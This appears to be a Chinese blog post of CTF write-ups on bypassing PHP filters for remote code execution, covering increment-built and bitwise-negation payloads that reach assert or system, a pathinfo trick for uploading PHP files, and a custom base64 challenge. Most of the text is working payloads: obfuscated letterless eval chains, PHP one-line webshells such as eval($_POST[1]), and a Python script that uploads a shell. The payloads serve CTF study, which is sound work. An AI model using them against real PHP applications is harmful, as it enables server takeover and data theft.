无参数RCE

关于自增

自增(Increment)通常指的是将某个值增加一个固定的增量。在编程中,自增通常用于循环计数、迭代或者更新变量的值等情况。

在许多编程语言中,自增操作可以通过使用 ++ 符号来完成。例如,在C语言中,++ 操作符可以用于将变量的值增加1。

例如:

<?php
     $_++;

这儿我们对$_变量进行了自增操作,但是我们没有给变量$_进行定义值,那么php会自己给$_赋一个默认的值NULL==0

可以发现,我们对$_进行了自增操作,最开始他的默认值是0,进行自增后他的值就为1了。

因此,当我们在不能使用数字的情况下,我们可以通过对未定义变量进行自增操作来得到我们想要的数字

"A"++ ==> "B"
"B"++ ==> "C"

如果我们有字母A的话,那我们就可以通过自增自减,得到我们所需要的字母。

但问题就是,没有字母怎么办呢,我们要怎么才能得到一个字母A呢

在PHP中,如果强制连接数组和字符串的话,数组将被转换成字符串,其值为"Array"。再取这个字符串的第一个字母,就可以获得"A"。

<?php
$a = ''.[];
var_dump($a);

<?php
$_=[].'';   // 将空数组转换为字符串,得到"Array",赋值给变量$_
$___ = $_[$__];   // 从$_中获取索引为$__的字符,由于$__没有定义,默认为0,因此$___得到"A"
$__ = $___;   // 将$___的值赋给$__,现在$__的值也是"A"
$_ = $___;   // 将$___的值赋给$_,现在$_的值也是"A"
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;   // 得到"S",现在$__的值为"S"
$___ .= $__;   // 将$__追加到$___后面,现在$___的值为"AS"
$___ .= $__;   // 再次将$__追加到$___后面,现在$___的值为"ASS"
$__ = $_;   // 将$_的值赋给$__,现在$__的值为"A"
$__++;$__++;$__++;$__++;   // 得到"E",现在$__的值为"E"
$___ .= $__;   // 将$__追加到$___后面,现在$___的值为"ASSE"
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__;$__++;   // 得到"R",现在$__的值为"R"
$___ .= $__;   // 将$__追加到$___后面,现在$___的值为"ASSER"
$__++;$__++;   // 得到"T",现在$__的值为"T"
$___ .= $__;   // 将$__追加到$___后面,现在$___的值为"ASSERT"
$__ = $_;   // 将$_的值赋给$__,现在$__的值为"A"
$____ = "_";   // 定义变量$____为"_"
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;   // 得到"P",现在$__的值为"P"
$____ .= $__;   // 将$__追加到$____后面,现在$____的值为"_P"
$__ = $_;   // 将$_的值赋给$__,现在$__的值为"A"
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;   // 得到"O",现在$__的值为"O"
$____ .= $__;   // 将$__追加到$____后面,现在$____的值为"_PO"
$__++;$__++;$__++;$__++;   // 得到"S",现在$__的值为"S"
$____ .= $__;   // 将$__追加到$____后面,现在$____的值为"_POS"
$__++;   // 得到"T",现在$__的值为"T"
$____ .= $__;   // 将$__追加到$____后面,现在$____的值为"_POST"
$_ = $$____;   // 将$_POST赋值给$_

 因此我们在写题时,就可以通过自增操作得到POST传参,执行RCE

//测试发现7.0.12以上版本不可使用
$_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);

固定格式:通过自增构造出来的等于assert($_POST[_]);

[SWPUCTF 2021 新生赛]hardrce_3

打开环境,进行代码审计,是无字母RCE,并且也过滤了异或和取反,那就只能进行自增绕过了

//测试发现7.0.12以上版本不可使用
$_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);

固定格式:通过自增构造出来的等于assert($_POST[_]);
$_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);

我们构造url:

url/?wllm=$_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);

然后我们在POST传参传入:

_=phpinfo();

看到他过滤了很多,但没有过滤 file_put_contents函数,那我们就利用file_put_contents函数构造POST传参一句话木马,然后用蚁剑连接

构造POST传参:

_=file_put_contents('2.php','<?php eval($_POST[1]);?>'); 

 使用蚁剑连接,得到flag

[HNCTF 2022 Week1]Challenge__rce

打开界面,什么都没有,看一下源代码,直接访问hint

<?php
error_reporting(0);
if (isset($_GET['hint'])) {
    highlight_file(__FILE__);
}
if (isset($_POST['rce'])) {
    $rce = $_POST['rce'];
    if (strlen($rce) <= 120) {
        if (is_string($rce)) {
            if (!preg_match("/[!@#%^&*:'\-<?>\"\/|`a-zA-Z~\\\\]/", $rce)) {
                eval($rce);
            } else {
                echo("Are you hack me?");
            }
        } else {
            echo "I want string!";
        }
    } else {
        echo "too long!";
    }
} 

 RCE,进行代码审计,检查 $rce 的长度是否不超过 120 个字符。
检查 $rce 是否是一个字符串类型
使用正则表达式检查 $rce 中是否包含某些特殊字符。
如果 $rce 满足上述条件,则使用 eval 函数执行 $rce 中的代码。

考无参数RCE,并且过滤了^和~,不能使用取反与异或,那就只能使用自增了

使用祖传playload看一看

$_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);

 

它显示太长了,那就换种形式,我们构造参数,再上传参数,以达到减少长度的目的

$_=[]._;                # 将一个空数组的引用赋给 $_,然后连接其字符串表示形式,并将结果赋给 $_。
$__=$_[1];              # 将 @_ 的第二个元素(也就是 $_)赋给 $__。
$_=$_[0];               # 将 @_ 的第一个元素赋给 $_。
$_++;                    # 将 $_ 的值增加 1。
$_1=++$_;               # 再次将 $_ 的值增加 1,并赋值给 $_1。
$_++; $_++; $_++; $_++; # 将 $_ 增加 4 次。
$_=$_1.++$_.$__;        # 将 $_1、$_ 增加 1 后的值、$__ 连接起来,并赋值给 $_。
$_=_.$_(71).$_(69).$_(84); # 将字符串 'GET' 与 ASCII 编码为 'H'、'E'、'T' 的字符连接起来,并赋值给 $_。

$$_[1]($$_[2]);         # 使用 @_ 数组的第二个元素所引用的子程序,并将第一个元素作为参数传递给它。

构造playload:

rce=$_=[]._;$_3=$_[1];$_=$_[3];++$_;$_1=++$_;++$_;++$_;++$_;++$_;$_=$_1.++$_.$_3;$_=_.$_(71).$_(69).$_(84);$$_[1]($$_[2]);

我们使用POST传参传入了1和2两个变量

然后再使用GET传参,1=system&2=ls

接着查看根目录 2=ls /

找到flag,直接cat 2=cat /ffflllaaaggg

[FSCTF 2023]是兄弟,就来传你の🐎!

打开后是文件上传的界面,直接上传一句话木马并抓包看一看

 

修改了MIME,添加了文件头,再双写php进行绕过,它提示文件内容里不能又php,那我们就把php改为=(就是改成php短标签)

 得,它又提示内容太长了。。。。文件头使用BM就行,直接在里面命令执行吧,并且短标签不闭合也能执行,所以文件内容

BM<?=`cat /f*`;

 

然后访问我们得/upload/eeae9d483b3acbdae7d9b5274623d317/shell.phphpp

。。。。看了大佬们得WP,它们文件后缀改得pht

再访问一下/upload/e06d08860a3c8499a65dacefc3d9e5e2/shell.pht

我也不知道是为什么???

[NSSCTF 2nd]php签到

 <?php

function waf($filename){
    $black_list = array("ph", "htaccess", "ini");
    $ext = pathinfo($filename, PATHINFO_EXTENSION);
    foreach ($black_list as $value) {
        if (stristr($ext, $value)){
            return false;
        }
    }
    return true;
}

if(isset($_FILES['file'])){
    $filename = urldecode($_FILES['file']['name']);
    $content = file_get_contents($_FILES['file']['tmp_name']);
    if(waf($filename)){
        file_put_contents($filename, $content);
    } else {
        echo "Please re-upload";
    }
} else{
    highlight_file(__FILE__);
} 

    首先,代码定义了一个名为 waf 的函数,用于执行一个简单的文件扩展名检查来防止上传恶意文件。

    $black_list 是一个存储不允许的文件扩展名的数组,如 “ph”、“htaccess” 和 “ini”。
    pathinfo($filename, PATHINFO_EXTENSION) 用于获取上传文件的扩展名。
    在 foreach 循环中,代码检查上传文件的扩展名是否在黑名单中。如果扩展名在黑名单中,函数返回 false,否则返回 true。

    如果用户通过 POST 请求上传了文件(if(isset($_FILES['file'])) 部分):

    urldecode($_FILES['file']['name']) 用于获取上传文件的名称,并对其进行 URL 解码。
    file_get_contents($_FILES['file']['tmp_name']) 用于获取上传文件的临时路径并读取其内容。
    waf($filename) 调用了上述定义的 waf 函数,检查上传文件的扩展名是否在黑名单中。
        如果通过检查(返回 true),则使用 file_put_contents($filename, $content) 将上传文件的内容写入服务器上的一个新文件。
        如果未通过检查(返回 false),则显示 “Please re-upload”,即要求用户重新上传文件。

    如果没有上传文件的 POST 请求(else 部分):

    highlight_file(__FILE__) 用于将当前代码文件的内容高亮显示在浏览器中,使用户能够查看代码。

上传文件名被黑名单ph,htaccess,ini检测,但是pathinfo检测到filename.extension/.时,PATHINFO_EXTENSION被检测为空,空不在黑名单里面,就能绕过检测

上传一个1.php/.,在file_put_contents函数,如果filename为1.php/.,就会在当前目录创建一个名为1.php的文件,从而实现传马。

但是因为没有上传点,我们可以使用脚本上传

import requests

# 设置目标 URL
url = "http://node5.anna.nssctf.cn:27625/"

# 准备要上传的文件名和文件内容
filename = "1.php%2f."  # 文件名,/经过 URL 编码
content = "<?php system($_GET[1]);?>"  # 文件内容,一个简单的 PHP 代码,用于执行系统命令

# 构造文件参数,使用元组 (文件名, 文件内容) 形式,并放入字典中
file = {"file": (filename, content)}

# 发送 POST 请求,上传文件
re = requests.post(url=url, files=file)

# 打印响应内容
print(re.text)

上传之后,我们访问1.php,然后再使用GET传参?1=export,查看环境变量,再环境变量中找到了flag

[CISCN 2023 初赛]Sign_in_passwd

打开后得到文本,就是换表得base64编码,第一行就是密文,第二行是表,但第二行表套了一层url编码,解码后直接base64解码即可

j2rXjx8yjd=YRZWyTIuwRdbyQdbqR3R9iZmsScutj2iqj3/tidj1jd=D
GHI3KLMNJOPQRSTUb%3DcdefghijklmnopWXYZ%2F12%2B406789VaqrstuvwxyzABCDEF5

[鹏城杯 2022]简单的php

谭谈关于无参数RCE - 先知社区

打开环境

<?php
show_source(__FILE__);
    $code = $_GET['code'];
    if(strlen($code) > 80 or preg_match('/[A-Za-z0-9]|\'|"|`|\ |,|\.|-|\+|=|\/|\\|<|>|\$|\?|\^|&|\|/is',$code)){
        die(' Hello');
    }else if(';' === preg_replace('/[^\s\(\)]+?\((?R)?\)/', '', $code)){
        @eval($code);

    }

?> 

代码审计

if(strlen($code) > 80 or preg_match('/[A-Za-z0-9]|\'|"||\ |,|.|-|+|=|/|\|<|>|$|?|^|&||/is',$code)){ die(' Hello'); }`:这个条件语句用于检查传入的代码。如果传入的代码长度大于80个字符,或者包含特定的字符(如字母、数字、空格、引号等),则会输出 "Hello" 并终止程序。

else if(';' === preg_replace('/[^\s\(\)]+?\((?R)?\)/', '', $code)){ @eval($code); }:这个条件语句检查传入的代码是否包含分号 ";",如果是,则尝试执行传入的代码。

无参数RCE,并且过滤了数字字母,这儿我们可以使用取反进行绕过,思路就是通过没有参数的函数达到命令执行的目的

<?php
echo urlencode(~"phpinfo"); #~是取反符号
?>

得到~%8f%97%8f%96%91%99%90

这儿我们需要通过[] 来执行
[~%8f%97%8f%96%91%99%90] 这里意思就是 [phpinfo]
[] 会进行执行 然后将返回内存存储为数组 然后我们需要取出数组内的东西
[~%8f%97%8f%96%91%99%90][!%ff] 这里是phpinfo
[!%ff] 这里类似于 [0] 会获取到第一位 即phpinfo
然后补上括号即可
[~%8f%97%8f%96%91%99%90][!%FF]();

 执行成功,说明这个方法可以使用,接下来我们就要通过没有参数的函数达到命令执行的目的,看了师傅们得WP,总结了一下无参数RCE需要用到得命令

end() - 将内部指针指向数组中的最后一个元素,并输出。

next() - 将内部指针指向数组中的下一个元素,并输出。

prev() - 将内部指针指向数组中的上一个元素,并输出。

reset() - 将内部指针指向数组中的第一个元素,并输出。

each() - 返回当前元素的键名和键值,并将内部指针向前移动。

current() -输出数组中的当前元素的值。

scandir()  //函数返回指定目录中的文件和目录的数组。

localeconv()   //返回一包含本地数字及货币格式信息的数组。

current()     //返回数组中的单元,默认取第一个值。

getcwd()      //取得当前工作目录

dirname()     //函数返回路径中的目录部分。

array_flip()  //交换数组中的键和值,成功时返回交换后的数组

array_rand()  //从数组中随机取出一个或多个单元

array_flip()和array_rand()配合使用可随机返回当前目录下的文件名

dirname(chdir(dirname()))配合切换文件路径

 这题可以使用getallheaders函数(返回当前请求的所有请求头信息)来构造,再使用current函数来返回当前元素的值

system(current(getallheaders()));

进行取反

[~%8C%86%8C%8B%9A%92][!%FF]([~%9C%8A%8D%8D%9A%91%8B][!%FF]([~%98%9A%8B%9E%93%93%97%9A%9E%9B%9A%8D%8C][!%FF]()));

 传入后再随便传入一个参数进行命令执行即可

 

  • 15
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值